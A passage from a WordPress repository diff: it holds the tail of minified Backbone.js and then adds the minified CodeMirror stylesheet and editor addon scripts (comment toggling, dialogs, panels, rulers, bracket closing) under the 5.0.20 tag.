S={forEach:3,each:3,map:3,collect:3,reduce:0,foldl:0,inject:0,reduceRight:0,foldr:0,find:3,detect:3,filter:3,select:3,reject:3,every:3,all:3,some:3,any:3,include:3,includes:3,contains:3,invoke:0,max:3,min:3,toArray:1,size:1,first:3,head:3,take:3,initial:3,rest:3,tail:3,drop:3,last:3,without:0,difference:0,indexOf:3,shuffle:1,lastIndexOf:3,isEmpty:1,chain:1,sample:3,partition:3,groupBy:3,countBy:3,sortBy:3,indexBy:3,findIndex:3,findLastIndex:3};h(x,S,"models");var k=e.View=function(t){this.cid=i.uniqueId("view");i.extend(this,i.pick(t,P));this._ensureElement();this.initialize.apply(this,arguments)};var T=/^(\S+)\s*(.*)$/;var P=["model","collection","el","id","attributes","className","tagName","events"];i.extend(k.prototype,u,{tagName:"div",$:function(t){return this.$el.find(t)},initialize:function(){},render:function(){return this},remove:function(){this._removeElement();this.stopListening();return this},_removeElement:function(){this.$el.remove()},setElement:function(t){this.undelegateEvents();this._setElement(t);this.delegateEvents();return this},_setElement:function(t){this.$el=t instanceof e.$?t:e.$(t);this.el=this.$el[0]},delegateEvents:function(t){t||(t=i.result(this,"events"));if(!t)return this;this.undelegateEvents();for(var e in t){var r=t[e];if(!i.isFunction(r))r=this[r];if(!r)continue;var n=e.match(T);this.delegate(n[1],n[2],i.bind(r,this))}return this},delegate:function(t,e,i){this.$el.on(t+".delegateEvents"+this.cid,e,i);return this},undelegateEvents:function(){if(this.$el)this.$el.off(".delegateEvents"+this.cid);return this},undelegate:function(t,e,i){this.$el.off(t+".delegateEvents"+this.cid,e,i);return this},_createElement:function(t){return document.createElement(t)},_ensureElement:function(){if(!this.el){var t=i.extend({},i.result(this,"attributes"));if(this.id)t.id=i.result(this,"id");if(this.className)t["class"]=i.result(this,"className");this.setElement(this._createElement(i.result(this,"tagName")));this._setAttributes(t)}else{this.setElement(i.result(this,"el"))}},_setAttributes:function(t){this.$el.attr(t)}});e.sync=function(t,r,n){var s=H[t];i.defaults(n||(n={}),{emulateHTTP:e.emulateHTTP,emulateJSON:e.emulateJSON});var a={type:s,dataType:"json"};if(!n.url){a.url=i.result(r,"url")||F()}if(n.data==null&&r&&(t==="create"||t==="update"||t==="patch")){a.contentType="application/json";a.data=JSON.stringify(n.attrs||r.toJSON(n))}if(n.emulateJSON){a.contentType="application/x-www-form-urlencoded";a.data=a.data?{model:a.data}:{}}if(n.emulateHTTP&&(s==="PUT"||s==="DELETE"||s==="PATCH")){a.type="POST";if(n.emulateJSON)a.data._method=s;var h=n.beforeSend;n.beforeSend=function(t){t.setRequestHeader("X-HTTP-Method-Override",s);if(h)return h.apply(this,arguments)}}if(a.type!=="GET"&&!n.emulateJSON){a.processData=false}var o=n.error;n.error=function(t,e,i){n.textStatus=e;n.errorThrown=i;if(o)o.call(n.context,t,e,i)};var l=n.xhr=e.ajax(i.extend(a,n));r.trigger("request",r,l,n);return l};var H={create:"POST",update:"PUT",patch:"PATCH","delete":"DELETE",read:"GET"};e.ajax=function(){return e.$.ajax.apply(e.$,arguments)};var $=e.Router=function(t){t||(t={});if(t.routes)this.routes=t.routes;this._bindRoutes();this.initialize.apply(this,arguments)};var A=/\((.*?)\)/g;var C=/(\(\?)?:\w+/g;var R=/\*\w+/g;var j=/[\-{}\[\]+?.,\\\^$|#\s]/g;i.extend($.prototype,u,{initialize:function(){},route:function(t,r,n){if(!i.isRegExp(t))t=this._routeToRegExp(t);if(i.isFunction(r)){n=r;r=""}if(!n)n=this[r];var s=this;e.history.route(t,function(i){var a=s._extractParameters(t,i);if(s.execute(n,a,r)!==false){s.trigger.apply(s,["route:"+r].concat(a));s.trigger("route",r,a);e.history.trigger("route",s,r,a)}});return this},execute:function(t,e,i){if(t)t.apply(this,e)},navigate:function(t,i){e.history.navigate(t,i);return this},_bindRoutes:function(){if(!this.routes)return;this.routes=i.result(this,"routes");var t,e=i.keys(this.routes);while((t=e.pop())!=null){this.route(t,this.routes[t])}},_routeToRegExp:function(t){t=t.replace(j,"\\$&").replace(A,"(?:$1)?").replace(C,function(t,e){return e?t:"([^/?]+)"}).replace(R,"([^?]*?)");return new RegExp("^"+t+"(?:\\?([\\s\\S]*))?$")},_extractParameters:function(t,e){var r=t.exec(e).slice(1);return i.map(r,function(t,e){if(e===r.length-1)return t||null;return t?decodeURIComponent(t):null})}});var N=e.History=function(){this.handlers=[];this.checkUrl=i.bind(this.checkUrl,this);if(typeof window!=="undefined"){this.location=window.location;this.history=window.history}};var M=/^[#\/]|\s+$/g;var O=/^\/+|\/+$/g;var U=/#.*$/;N.started=false;i.extend(N.prototype,u,{interval:50,atRoot:function(){var t=this.location.pathname.replace(/[^\/]$/,"$&/");return t===this.root&&!this.getSearch()},matchRoot:function(){var t=this.decodeFragment(this.location.pathname);var e=t.slice(0,this.root.length-1)+"/";return e===this.root},decodeFragment:function(t){return decodeURI(t.replace(/%25/g,"%2525"))},getSearch:function(){var t=this.location.href.replace(/#.*/,"").match(/\?.+/);return t?t[0]:""},getHash:function(t){var e=(t||this).location.href.match(/#(.*)$/);return e?e[1]:""},getPath:function(){var t=this.decodeFragment(this.location.pathname+this.getSearch()).slice(this.root.length-1);return t.charAt(0)==="/"?t.slice(1):t},getFragment:function(t){if(t==null){if(this._usePushState||!this._wantsHashChange){t=this.getPath()}else{t=this.getHash()}}return t.replace(M,"")},start:function(t){if(N.started)throw new Error("Backbone.history has already been started");N.started=true;this.options=i.extend({root:"/"},this.options,t);this.root=this.options.root;this._wantsHashChange=this.options.hashChange!==false;this._hasHashChange="onhashchange"in window&&(document.documentMode===void 0||document.documentMode>7);this._useHashChange=this._wantsHashChange&&this._hasHashChange;this._wantsPushState=!!this.options.pushState;this._hasPushState=!!(this.history&&this.history.pushState);this._usePushState=this._wantsPushState&&this._hasPushState;this.fragment=this.getFragment();this.root=("/"+this.root+"/").replace(O,"/");if(this._wantsHashChange&&this._wantsPushState){if(!this._hasPushState&&!this.atRoot()){var e=this.root.slice(0,-1)||"/";this.location.replace(e+"#"+this.getPath());return true}else if(this._hasPushState&&this.atRoot()){this.navigate(this.getHash(),{replace:true})}}if(!this._hasHashChange&&this._wantsHashChange&&!this._usePushState){this.iframe=document.createElement("iframe");this.iframe.src="javascript:0";this.iframe.style.display="none";this.iframe.tabIndex=-1;var r=document.body;var n=r.insertBefore(this.iframe,r.firstChild).contentWindow;n.document.open();n.document.close();n.location.hash="#"+this.fragment}var s=window.addEventListener||function(t,e){return attachEvent("on"+t,e)};if(this._usePushState){s("popstate",this.checkUrl,false)}else if(this._useHashChange&&!this.iframe){s("hashchange",this.checkUrl,false)}else if(this._wantsHashChange){this._checkUrlInterval=setInterval(this.checkUrl,this.interval)}if(!this.options.silent)return this.loadUrl()},stop:function(){var t=window.removeEventListener||function(t,e){return detachEvent("on"+t,e)};if(this._usePushState){t("popstate",this.checkUrl,false)}else if(this._useHashChange&&!this.iframe){t("hashchange",this.checkUrl,false)}if(this.iframe){document.body.removeChild(this.iframe);this.iframe=null}if(this._checkUrlInterval)clearInterval(this._checkUrlInterval);N.started=false},route:function(t,e){this.handlers.unshift({route:t,callback:e})},checkUrl:function(t){var e=this.getFragment();if(e===this.fragment&&this.iframe){e=this.getHash(this.iframe.contentWindow)}if(e===this.fragment)return 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r=t.href.replace(/(javascript:|#).*$/,"");t.replace(r+"#"+e)}else{t.hash="#"+e}}});e.history=new N;var q=function(t,e){var r=this;var n;if(t&&i.has(t,"constructor")){n=t.constructor}else{n=function(){return r.apply(this,arguments)}}i.extend(n,r,e);n.prototype=i.create(r.prototype,t);n.prototype.constructor=n;n.__super__=r.prototype;return n};y.extend=x.extend=$.extend=k.extend=N.extend=q;var F=function(){throw new Error('A "url" property or function must be specified')};var B=function(t,e){var i=e.error;e.error=function(r){if(i)i.call(e.context,t,r,e);t.trigger("error",t,r,e)}};return e});
Index: /tags/5.0.20/src/wp-includes/js/codemirror/codemirror.min.css
===================================================================
--- /tags/5.0.20/src/wp-includes/js/codemirror/codemirror.min.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/codemirror/codemirror.min.css	(revision 56912)
@@ -0,0 +1,11 @@
+/*! This file is auto-generated from CodeMirror - github:codemirror/CodeMirror#ee20357d279bf9edfed0047d3bf2a75b5f0a040f
+
+CodeMirror, copyright (c) by Marijn Haverbeke and others
+Distributed under an MIT license: http://codemirror.net/LICENSE
+
+This is CodeMirror (http://codemirror.net), a code editor
+implemented in JavaScript on top of the browser's DOM.
+
+You can find some technical background for some of the code below
+at http://marijnhaverbeke.nl/blog/#cm-internals .
+*/.CodeMirror-Tern-tooltip,.CodeMirror-hints{-webkit-box-shadow:2px 3px 5px rgba(0,0,0,.2)}.CodeMirror{font-family:monospace;height:300px;color:#000;direction:ltr}.CodeMirror-lines{padding:4px 0}.CodeMirror pre{padding:0 4px}.CodeMirror-gutter-filler,.CodeMirror-scrollbar-filler{background-color:#fff}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid #000;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0!important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-animate-fat-cursor{width:auto;border:0;-webkit-animation:blink 1.06s steps(1) infinite;-moz-animation:blink 1.06s steps(1) infinite;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:-20px;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:#00f}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:700}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:#00f}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-type,.cm-s-default .cm-variable-3{color:#085}.cm-s-default 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Index: /tags/5.0.20/src/wp-includes/js/codemirror/codemirror.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/codemirror/codemirror.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/codemirror/codemirror.min.js	(revision 56912)
@@ -0,0 +1,29 @@
+/*! This file is auto-generated from CodeMirror - github:codemirror/CodeMirror#ee20357d279bf9edfed0047d3bf2a75b5f0a040f
+
+CodeMirror, copyright (c) by Marijn Haverbeke and others
+Distributed under an MIT license: http://codemirror.net/LICENSE
+
+This is CodeMirror (http://codemirror.net), a code editor
+implemented in JavaScript on top of the browser's DOM.
+
+You can find some technical background for some of the code below
+at http://marijnhaverbeke.nl/blog/#cm-internals .
+*/
+!function a(b,c,d){function e(g,h){if(!c[g]){if(!b[g]){var i="function"==typeof require&&require;if(!h&&i)return i(g,!0);if(f)return f(g,!0);var j=new Error("Cannot find module '"+g+"'");throw j.code="MODULE_NOT_FOUND",j}var k=c[g]={exports:{}};b[g][0].call(k.exports,function(a){var c=b[g][1][a];return e(c?c:a)},k,k.exports,a,b,c,d)}return c[g].exports}for(var f="function"==typeof require&&require,g=0;g<d.length;g++)e(d[g]);return e}({1:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";function b(a){var b=a.search(f);return b==-1?0:b}function c(a,b,c){return/\bstring\b/.test(a.getTokenTypeAt(g(b.line,0)))&&!/^[\'\"\`]/.test(c)}function d(a,b){var c=a.getMode();return c.useInnerComments!==!1&&c.innerMode?a.getModeAt(b):c}var e={},f=/[^\s\u00a0]/,g=a.Pos;a.commands.toggleComment=function(a){a.toggleComment()},a.defineExtension("toggleComment",function(a){a||(a=e);for(var b=this,c=1/0,d=this.listSelections(),f=null,h=d.length-1;h>=0;h--){var i=d[h].from(),j=d[h].to();i.line>=c||(j.line>=c&&(j=g(c,0)),c=i.line,null==f?b.uncomment(i,j,a)?f="un":(b.lineComment(i,j,a),f="line"):"un"==f?b.uncomment(i,j,a):b.lineComment(i,j,a))}}),a.defineExtension("lineComment",function(a,h,i){i||(i=e);var j=this,k=d(j,a),l=j.getLine(a.line);if(null!=l&&!c(j,a,l)){var m=i.lineComment||k.lineComment;if(!m)return void((i.blockCommentStart||k.blockCommentStart)&&(i.fullLines=!0,j.blockComment(a,h,i)));var n=Math.min(0!=h.ch||h.line==a.line?h.line+1:h.line,j.lastLine()+1),o=null==i.padding?" ":i.padding,p=i.commentBlankLines||a.line==h.line;j.operation(function(){if(i.indent){for(var c=null,d=a.line;d<n;++d){var e=j.getLine(d),h=e.slice(0,b(e));(null==c||c.length>h.length)&&(c=h)}for(var d=a.line;d<n;++d){var e=j.getLine(d),k=c.length;(p||f.test(e))&&(e.slice(0,k)!=c&&(k=b(e)),j.replaceRange(c+m+o,g(d,0),g(d,k)))}}else for(var d=a.line;d<n;++d)(p||f.test(j.getLine(d)))&&j.replaceRange(m+o,g(d,0))})}}),a.defineExtension("blockComment",function(a,b,c){c||(c=e);var h=this,i=d(h,a),j=c.blockCommentStart||i.blockCommentStart,k=c.blockCommentEnd||i.blockCommentEnd;if(!j||!k)return void((c.lineComment||i.lineComment)&&0!=c.fullLines&&h.lineComment(a,b,c));if(!/\bcomment\b/.test(h.getTokenTypeAt(g(a.line,0)))){var l=Math.min(b.line,h.lastLine());l!=a.line&&0==b.ch&&f.test(h.getLine(l))&&--l;var m=null==c.padding?" ":c.padding;a.line>l||h.operation(function(){if(0!=c.fullLines){var d=f.test(h.getLine(l));h.replaceRange(m+k,g(l)),h.replaceRange(j+m,g(a.line,0));var e=c.blockCommentLead||i.blockCommentLead;if(null!=e)for(var n=a.line+1;n<=l;++n)(n!=l||d)&&h.replaceRange(e+m,g(n,0))}else h.replaceRange(k,b),h.replaceRange(j,a)})}}),a.defineExtension("uncomment",function(a,b,c){c||(c=e);var h,i=this,j=d(i,a),k=Math.min(0!=b.ch||b.line==a.line?b.line:b.line-1,i.lastLine()),l=Math.min(a.line,k),m=c.lineComment||j.lineComment,n=[],o=null==c.padding?" ":c.padding;a:if(m){for(var p=l;p<=k;++p){var q=i.getLine(p),r=q.indexOf(m);if(r>-1&&!/comment/.test(i.getTokenTypeAt(g(p,r+1)))&&(r=-1),r==-1&&f.test(q))break a;if(r>-1&&f.test(q.slice(0,r)))break a;n.push(q)}if(i.operation(function(){for(var a=l;a<=k;++a){var b=n[a-l],c=b.indexOf(m),d=c+m.length;c<0||(b.slice(d,d+o.length)==o&&(d+=o.length),h=!0,i.replaceRange("",g(a,c),g(a,d)))}}),h)return!0}var s=c.blockCommentStart||j.blockCommentStart,t=c.blockCommentEnd||j.blockCommentEnd;if(!s||!t)return!1;var u=c.blockCommentLead||j.blockCommentLead,v=i.getLine(l),w=v.indexOf(s);if(w==-1)return!1;var x=k==l?v:i.getLine(k),y=x.indexOf(t,k==l?w+s.length:0);y==-1&&l!=k&&(x=i.getLine(--k),y=x.indexOf(t));var z=g(l,w+1),A=g(k,y+1);if(y==-1||!/comment/.test(i.getTokenTypeAt(z))||!/comment/.test(i.getTokenTypeAt(A))||i.getRange(z,A,"\n").indexOf(t)>-1)return!1;var B=v.lastIndexOf(s,a.ch),C=B==-1?-1:v.slice(0,a.ch).indexOf(t,B+s.length);if(B!=-1&&C!=-1&&C+t.length!=a.ch)return!1;C=x.indexOf(t,b.ch);var D=x.slice(b.ch).lastIndexOf(s,C-b.ch);return B=C==-1||D==-1?-1:b.ch+D,(C==-1||B==-1||B==b.ch)&&(i.operation(function(){i.replaceRange("",g(k,y-(o&&x.slice(y-o.length,y)==o?o.length:0)),g(k,y+t.length));var a=w+s.length;if(o&&v.slice(a,a+o.length)==o&&(a+=o.length),i.replaceRange("",g(l,w),g(l,a)),u)for(var b=l+1;b<=k;++b){var c=i.getLine(b),d=c.indexOf(u);if(d!=-1&&!f.test(c.slice(0,d))){var e=d+u.length;o&&c.slice(e,e+o.length)==o&&(e+=o.length),i.replaceRange("",g(b,d),g(b,e))}}}),!0)})})},{"../../lib/codemirror":59}],2:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){function b(b){if(b.getOption("disableInput"))return a.Pass;for(var d,e=b.listSelections(),f=[],g=0;g<e.length;g++){var h=e[g].head;if(!/\bcomment\b/.test(b.getTokenTypeAt(h)))return a.Pass;var i=b.getModeAt(h);if(d){if(d!=i)return a.Pass}else d=i;var j=null;if(d.blockCommentStart&&d.blockCommentContinue){var k,l=b.getLine(h.line).slice(0,h.ch),m=l.indexOf(d.blockCommentEnd);if(m!=-1&&m==h.ch-d.blockCommentEnd.length);else if((k=l.indexOf(d.blockCommentStart))>-1){if(j=l.slice(0,k),/\S/.test(j)){j="";for(var n=0;n<k;++n)j+=" "}}else(k=l.indexOf(d.blockCommentContinue))>-1&&!/\S/.test(l.slice(0,k))&&(j=l.slice(0,k));null!=j&&(j+=d.blockCommentContinue)}if(null==j&&d.lineComment&&c(b)){var l=b.getLine(h.line),k=l.indexOf(d.lineComment);k>-1&&(j=l.slice(0,k),/\S/.test(j)?j=null:j+=d.lineComment+l.slice(k+d.lineComment.length).match(/^\s*/)[0])}if(null==j)return a.Pass;f[g]="\n"+j}b.operation(function(){for(var a=e.length-1;a>=0;a--)b.replaceRange(f[a],e[a].from(),e[a].to(),"+insert")})}function c(a){var b=a.getOption("continueComments");return!b||"object"!=typeof b||b.continueLineComment!==!1}for(var d=["clike","css","javascript"],e=0;e<d.length;++e)a.extendMode(d[e],{blockCommentContinue:" * "});a.defineOption("continueComments",null,function(c,d,e){if(e&&e!=a.Init&&c.removeKeyMap("continueComment"),d){var f="Enter";"string"==typeof d?f=d:"object"==typeof d&&d.key&&(f=d.key);var g={name:"continueComment"};g[f]=b,c.addKeyMap(g)}})})},{"../../lib/codemirror":59}],3:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){function b(a,b,c){var d,e=a.getWrapperElement();return d=e.appendChild(document.createElement("div")),c?d.className="CodeMirror-dialog CodeMirror-dialog-bottom":d.className="CodeMirror-dialog CodeMirror-dialog-top","string"==typeof b?d.innerHTML=b:d.appendChild(b),d}function c(a,b){a.state.currentNotificationClose&&a.state.currentNotificationClose(),a.state.currentNotificationClose=b}a.defineExtension("openDialog",function(d,e,f){function g(a){if("string"==typeof a)l.value=a;else{if(j)return;j=!0,i.parentNode.removeChild(i),k.focus(),f.onClose&&f.onClose(i)}}f||(f={}),c(this,null);var h,i=b(this,d,f.bottom),j=!1,k=this,l=i.getElementsByTagName("input")[0];return l?(l.focus(),f.value&&(l.value=f.value,f.selectValueOnOpen!==!1&&l.select()),f.onInput&&a.on(l,"input",function(a){f.onInput(a,l.value,g)}),f.onKeyUp&&a.on(l,"keyup",function(a){f.onKeyUp(a,l.value,g)}),a.on(l,"keydown",function(b){f&&f.onKeyDown&&f.onKeyDown(b,l.value,g)||((27==b.keyCode||f.closeOnEnter!==!1&&13==b.keyCode)&&(l.blur(),a.e_stop(b),g()),13==b.keyCode&&e(l.value,b))}),f.closeOnBlur!==!1&&a.on(l,"blur",g)):(h=i.getElementsByTagName("button")[0])&&(a.on(h,"click",function(){g(),k.focus()}),f.closeOnBlur!==!1&&a.on(h,"blur",g),h.focus()),g}),a.defineExtension("openConfirm",function(d,e,f){function g(){j||(j=!0,h.parentNode.removeChild(h),k.focus())}c(this,null);var h=b(this,d,f&&f.bottom),i=h.getElementsByTagName("button"),j=!1,k=this,l=1;i[0].focus();for(var m=0;m<i.length;++m){var n=i[m];!function(b){a.on(n,"click",function(c){a.e_preventDefault(c),g(),b&&b(k)})}(e[m]),a.on(n,"blur",function(){--l,setTimeout(function(){l<=0&&g()},200)}),a.on(n,"focus",function(){++l})}}),a.defineExtension("openNotification",function(d,e){function f(){i||(i=!0,clearTimeout(g),h.parentNode.removeChild(h))}c(this,f);var g,h=b(this,d,e&&e.bottom),i=!1,j=e&&"undefined"!=typeof e.duration?e.duration:5e3;return a.on(h,"click",function(b){a.e_preventDefault(b),f()}),j&&(g=setTimeout(f,j)),f})})},{"../../lib/codemirror":59}],4:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";function b(b,d){function e(){b.display.wrapper.offsetHeight?(c(b,d),b.display.lastWrapHeight!=b.display.wrapper.clientHeight&&b.refresh()):d.timeout=setTimeout(e,d.delay)}d.timeout=setTimeout(e,d.delay),d.hurry=function(){clearTimeout(d.timeout),d.timeout=setTimeout(e,50)},a.on(window,"mouseup",d.hurry),a.on(window,"keyup",d.hurry)}function c(b,c){clearTimeout(c.timeout),a.off(window,"mouseup",c.hurry),a.off(window,"keyup",c.hurry)}a.defineOption("autoRefresh",!1,function(a,d){a.state.autoRefresh&&(c(a,a.state.autoRefresh),a.state.autoRefresh=null),d&&0==a.display.wrapper.offsetHeight&&b(a,a.state.autoRefresh={delay:d.delay||250})})})},{"../../lib/codemirror":59}],5:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";function b(a){var b=a.getWrapperElement();a.state.fullScreenRestore={scrollTop:window.pageYOffset,scrollLeft:window.pageXOffset,width:b.style.width,height:b.style.height},b.style.width="",b.style.height="auto",b.className+=" CodeMirror-fullscreen",document.documentElement.style.overflow="hidden",a.refresh()}function c(a){var b=a.getWrapperElement();b.className=b.className.replace(/\s*CodeMirror-fullscreen\b/,""),document.documentElement.style.overflow="";var c=a.state.fullScreenRestore;b.style.width=c.width,b.style.height=c.height,window.scrollTo(c.scrollLeft,c.scrollTop),a.refresh()}a.defineOption("fullScreen",!1,function(d,e,f){f==a.Init&&(f=!1),!f!=!e&&(e?b(d):c(d))})})},{"../../lib/codemirror":59}],6:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){function b(a,b,c,d){this.cm=a,this.node=b,this.options=c,this.height=d,this.cleared=!1}function c(a){var b=a.getWrapperElement(),c=window.getComputedStyle?window.getComputedStyle(b):b.currentStyle,d=parseInt(c.height),e=a.state.panels={setHeight:b.style.height,heightLeft:d,panels:0,wrapper:document.createElement("div")};b.parentNode.insertBefore(e.wrapper,b);var f=a.hasFocus();e.wrapper.appendChild(b),f&&a.focus(),a._setSize=a.setSize,null!=d&&(a.setSize=function(b,c){if(null==c)return this._setSize(b,c);if(e.setHeight=c,"number"!=typeof c){var f=/^(\d+\.?\d*)px$/.exec(c);f?c=Number(f[1]):(e.wrapper.style.height=c,c=e.wrapper.offsetHeight,e.wrapper.style.height="")}a._setSize(b,e.heightLeft+=c-d),d=c})}function d(a){var b=a.state.panels;a.state.panels=null;var c=a.getWrapperElement();b.wrapper.parentNode.replaceChild(c,b.wrapper),c.style.height=b.setHeight,a.setSize=a._setSize,a.setSize()}function e(a,b){for(var c=b.nextSibling;c;c=c.nextSibling)if(c==a.getWrapperElement())return!0;return!1}a.defineExtension("addPanel",function(a,d){d=d||{},this.state.panels||c(this);var f=this.state.panels,g=f.wrapper,h=this.getWrapperElement();d.after instanceof b&&!d.after.cleared?g.insertBefore(a,d.before.node.nextSibling):d.before instanceof b&&!d.before.cleared?g.insertBefore(a,d.before.node):d.replace instanceof b&&!d.replace.cleared?(g.insertBefore(a,d.replace.node),d.replace.clear()):"bottom"==d.position?g.appendChild(a):"before-bottom"==d.position?g.insertBefore(a,h.nextSibling):"after-top"==d.position?g.insertBefore(a,h):g.insertBefore(a,g.firstChild);var i=d&&d.height||a.offsetHeight;return this._setSize(null,f.heightLeft-=i),f.panels++,d.stable&&e(this,a)&&this.scrollTo(null,this.getScrollInfo().top+i),new b(this,a,d,i)}),b.prototype.clear=function(){if(!this.cleared){this.cleared=!0;var a=this.cm.state.panels;this.cm._setSize(null,a.heightLeft+=this.height),this.options.stable&&e(this.cm,this.node)&&this.cm.scrollTo(null,this.cm.getScrollInfo().top-this.height),a.wrapper.removeChild(this.node),0==--a.panels&&d(this.cm)}},b.prototype.changed=function(a){var b=null==a?this.node.offsetHeight:a,c=this.cm.state.panels;this.cm._setSize(null,c.heightLeft-=b-this.height),this.height=b}})},{"../../lib/codemirror":59}],7:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){function b(a){a.state.placeholder&&(a.state.placeholder.parentNode.removeChild(a.state.placeholder),a.state.placeholder=null)}function c(a){b(a);var c=a.state.placeholder=document.createElement("pre");c.style.cssText="height: 0; overflow: visible",c.className="CodeMirror-placeholder";var d=a.getOption("placeholder");"string"==typeof d&&(d=document.createTextNode(d)),c.appendChild(d),a.display.lineSpace.insertBefore(c,a.display.lineSpace.firstChild)}function d(a){f(a)&&c(a)}function e(a){var d=a.getWrapperElement(),e=f(a);d.className=d.className.replace(" CodeMirror-empty","")+(e?" CodeMirror-empty":""),e?c(a):b(a)}function f(a){return 1===a.lineCount()&&""===a.getLine(0)}a.defineOption("placeholder","",function(c,f,g){var h=g&&g!=a.Init;if(f&&!h)c.on("blur",d),c.on("change",e),c.on("swapDoc",e),e(c);else if(!f&&h){c.off("blur",d),c.off("change",e),c.off("swapDoc",e),b(c);var i=c.getWrapperElement();i.className=i.className.replace(" CodeMirror-empty","")}f&&!c.hasFocus()&&d(c)})})},{"../../lib/codemirror":59}],8:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";function b(b){b.state.rulerDiv.textContent="";var c=b.getOption("rulers"),d=b.defaultCharWidth(),e=b.charCoords(a.Pos(b.firstLine(),0),"div").left;b.state.rulerDiv.style.minHeight=b.display.scroller.offsetHeight+30+"px";for(var f=0;f<c.length;f++){var g=document.createElement("div");g.className="CodeMirror-ruler";var h,i=c[f];"number"==typeof i?h=i:(h=i.column,i.className&&(g.className+=" "+i.className),i.color&&(g.style.borderColor=i.color),i.lineStyle&&(g.style.borderLeftStyle=i.lineStyle),i.width&&(g.style.borderLeftWidth=i.width)),g.style.left=e+h*d+"px",b.state.rulerDiv.appendChild(g)}}a.defineOption("rulers",!1,function(a,c){a.state.rulerDiv&&(a.state.rulerDiv.parentElement.removeChild(a.state.rulerDiv),a.state.rulerDiv=null,a.off("refresh",b)),c&&c.length&&(a.state.rulerDiv=a.display.lineSpace.parentElement.insertBefore(document.createElement("div"),a.display.lineSpace),a.state.rulerDiv.className="CodeMirror-rulers",b(a),a.on("refresh",b))})})},{"../../lib/codemirror":59}],9:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){function b(a,b){return"pairs"==b&&"string"==typeof a?a:"object"==typeof a&&null!=a[b]?a[b]:n[b]}function c(a){for(var b=0;b<a.length;b++){var c=a.charAt(b),e="'"+c+"'";p[e]||(p[e]=d(c))}}function d(a){return function(b){return i(b,a)}}function e(a){var b=a.state.closeBrackets;if(!b||b.override)return b;var c=a.getModeAt(a.getCursor());return c.closeBrackets||b}function f(c){var d=e(c);if(!d||c.getOption("disableInput"))return a.Pass;for(var f=b(d,"pairs"),g=c.listSelections(),h=0;h<g.length;h++){if(!g[h].empty())return a.Pass;var i=k(c,g[h].head);if(!i||f.indexOf(i)%2!=0)return a.Pass}for(var h=g.length-1;h>=0;h--){var j=g[h].head;c.replaceRange("",o(j.line,j.ch-1),o(j.line,j.ch+1),"+delete")}}function g(c){var d=e(c),f=d&&b(d,"explode");if(!f||c.getOption("disableInput"))return a.Pass;for(var g=c.listSelections(),h=0;h<g.length;h++){if(!g[h].empty())return a.Pass;var i=k(c,g[h].head);if(!i||f.indexOf(i)%2!=0)return a.Pass}c.operation(function(){c.replaceSelection("\n\n",null),c.execCommand("goCharLeft"),g=c.listSelections();for(var a=0;a<g.length;a++){var b=g[a].head.line;c.indentLine(b,null,!0),c.indentLine(b+1,null,!0)}})}function h(b){var c=a.cmpPos(b.anchor,b.head)>0;return{anchor:new o(b.anchor.line,b.anchor.ch+(c?-1:1)),head:new o(b.head.line,b.head.ch+(c?1:-1))}}function i(c,d){var f=e(c);if(!f||c.getOption("disableInput"))return a.Pass;var g=b(f,"pairs"),i=g.indexOf(d);if(i==-1)return a.Pass;for(var k,n=b(f,"triples"),p=g.charAt(i+1)==d,q=c.listSelections(),r=i%2==0,s=0;s<q.length;s++){var t,u=q[s],v=u.head,w=c.getRange(v,o(v.line,v.ch+1));if(r&&!u.empty())t="surround";else 